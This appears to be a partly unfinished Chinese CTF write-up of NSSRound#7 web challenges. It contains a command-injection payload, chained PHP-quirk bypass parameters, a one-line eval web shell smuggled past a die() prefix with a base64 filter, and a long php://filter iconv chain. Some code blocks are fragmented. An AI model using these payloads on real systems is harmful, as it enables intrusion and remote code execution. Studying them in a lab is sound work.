NSSRound#7
NSSRound#7
seora【更新中】[NSSRound#7 Team]web
[NSSRound#7 Team]ec_RCE
直接扫描目录得到DS_Store,进去会发现能看到Ns_SCtF.php。
源码:
1 | PHP |
action和data是可控的,并且会被拼接到output中然后被执行然后输出。可以RCE。
1 | action=;&data='ls /' |
[NSSRound#7 Team]0o0
目录扫描下载到源码我们进行一下代码审计。
1 |
|
第一层数组绕过,
NSSCTF[]=1&NSSCTF[]=2第二层是in_array()第三个参数没有直接strict导致可以绕过,
NsScTF=1qif (file_get_contents($NsScTf) === "Welcome to Round7!!!")if (isset($_GET['nss_ctfer.vip'])) {1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
在php手册中查询 **file_get_contents()** 函数的作用:
**file_get_contents()** 函数是用来将文件的内容读入到一个字符串中的首选方法。如果操作系统支持还会使用内存映射技术来增强性能。
> **注意**:
>
> 如果要打开有特殊字符的 URL (比如说有空格),就需要使用 [urlencode()](https://www.php.net/manual/zh/function.urlencode.php) 进行 URL 编码。
显然我们没办法上传文件,但是能给参数传url想到php伪协议
`data://` 会把 URI 中的数据当作“文件内容”读出。也就是说`file_get_contents('data://text/plain,Welcome to Round7!!!')` 会直接返回字符串 `Welcome to Round7!!!`,因此可以绕过对“真实文件路径”的期待。
4.nss[ctfer.vip1
2
3
4
5
6
7
8
9
还是考的php特性,都有点忘了
这是php中的非法参数名传参:

因此我们是没办法直接传入`nss_ctfer.vip`的,会被替换成`nss_ctfer_vip`,但是php中还有一个特性,如果传入`[`,它被转化为`_`之后,后面的字符就会被保留下来不会被替换。因此我们可以构造出来该变量名咯。第五层是intval()绕过,字符串使用科学计数法,会默认是前面的数字,比如’1e1’转化变成1,NSScTf=114514e1,第五层直接`nSScTF=1,$nSscTF=NSSRound7`。1
2
3
5. ```
if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) {if ($nss && $nSscTF === "NSSRound7") { if (isset($_POST['submit'])) {?NSSCTF[]=1&NsSCTF[]=2&NsScTF=1a&NsScTf=data://text/plain,Welcome%20to%20Round7!!!&nss[ctfer.vip=&NSScTf=114514.3&nSScTF=1&nSscTF=NSSRound7 POST:submit=11
2
3
4
5
直接构造:`nSScTF=1&nSscTF=NSSRound7` 记得提交submit,
得到这一部分payload1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
以上全部都是php特性,可以参考一下[PHP 特性 - Hello CTF](https://hello-ctf.com/hc-tags/web/PHP_features/#0e-bypass)。接着往下看。
这里是一个文件上传
```php
<?php
$file_name = urldecode($_FILES['file']['name']);
$path = $_FILES['file']['tmp_name'];
if(strpos($file_name, ".png") == false){
die("NoO0P00oO0! Png! pNg! pnG!");
}
$content = file_get_contents($path);
$real_content = '<?php die("Round7 do you like");'. $content . '?>';
$real_name = fopen($file_name, "w");
fwrite($real_name, $real_content);
fclose($real_name);
上述代码通过strops()检测文件的名称是否存在png,但这种写法不严谨—— evil.png.php 也会通过检查。
关键是会将<?php die(“Round7 do you like”);与我们传的php拼接,就导致了如果直接在浏览器访问这个文件,PHP 会立即停止执行。
一个思路是在解码时将死亡代码给解码成乱码,使其无法作用。
1 | <?php @eval($_POST['attack']);?> |
这样传后续我们使用php://filter/convert.base64-decode访问上传的文件,前面的die被解释为乱码就没办法执行了。
后续我们写个脚本实现上述所有传参和文件上传操作
1 | import requests |
但是其实一开始如果没有目录扫描的话还有一个level1level2。
请求头有一个参数,提示我们get传参
传参后得到代码。
1 |
|
进行代码审计,
1 | if (isset($_GET['0o0'])) { |
我们需要传入$_GET['0o0']而且,参数通过strpos校验开头不能是Round7必须是Xy1on。
1 | $O0O = file_get_contents($_GET['0o0'],1); |
这一句代码中,1代表用了常量 FILE_USE_INCLUDE_PATH 用于触发搜索 include path,前面的代码
1 | set_include_path('Round7/'); #把include_path设成Round7 |
当你传 ?0o0=xxx 时,代码会读入 xxx 指向的资源内容到 $O0O。
重要:如果
xxx是 相对路径(如level2),它会在Round7/level2读取。
但如果xxx是 流封装器(如php://filter/.../resource=level2、data://...),则不再走 include_path 的相对查找规则,直接按封装器处理。这正是我们可以利用的点。
想要读 /flag 的内容,但脚本只会在输出内容的第一个字节开始就是 Xy1on 时才把内容回显。
显然,/flag 文件的真实内容不可能天然以 Xy1on 开头;我们需要“想办法让输出看起来以 Xy1on 开头”,而不是改原文件。
php://filter 是 PHP 的流过滤器封装器,允许在“读取资源”时,对字节流做一串可组合的转码/编解码/替换操作(filter chain)。形式大概是:
1 | php://filter/read=<过滤器1>|<过滤器2>|.../resource=<真正的资源> |
如果我们能找到一串过滤器,使得“level2 的原始内容 → 经过过滤器链的输出”的前缀恰好变成 Xy1on,就能触发 echo $O0O; 了。
Synacktiv 的 php_filter_chain_generator。它能针对一个想要的目标前缀(例如 Xy1on)自动搜一条可行的过滤器链,把实际文件内容“变形”成以这个前缀开头的输出。
项目地址:https://github.com/synacktiv/php_filter_chain_generator
生成filter链
1 | php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp |
然后就能得到源码的路由了。
【待】[NSSRound#7 Team]新的博客
【待】[NSSRound#7 Team]ShadowFlag
references
[NSSRound#7 Team]Web学习_[nssround#7 team]新的博客-CSDN博客
[NSSRound#7_nssround#7 team]0o0-CSDN博客
https://www.php.net/manual/zh/function.file-get-contents.php
ctfshow web123(php get或post变量名中非法字符转化下划线) - hithub - 博客园
file_put_content和死亡·杂糅代码之缘-先知社区






